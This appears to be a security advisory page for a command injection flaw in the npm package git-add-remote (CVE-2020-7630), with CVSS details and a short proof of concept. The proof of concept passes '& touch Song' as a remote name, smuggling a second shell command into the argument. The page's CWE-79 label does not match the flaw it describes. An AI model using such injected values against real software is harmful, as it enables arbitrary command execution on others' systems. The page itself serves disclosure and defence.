Command Injection

Affecting git-add-remote package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

git-add-remote is an API for adding git remotes.

Affected versions of this package are vulnerable to Command Injection. The argument name can be controlled by users without any sanitization.

PoC

var root = require("git-add-remote")();
var payload = "& touch Song";
root(payload,'',function(){});

Remediation

There is no fixed version for git-add-remote.

References

CVSS Score

5.9
medium severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    None
  • Availability
    None
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:C
Credit
JHU System Security Lab
CVE
CVE-2020-7630
CWE
CWE-79
Snyk ID
SNYK-JS-GITADDREMOTE-564269
Disclosed
02 Apr, 2020
Published
02 Apr, 2020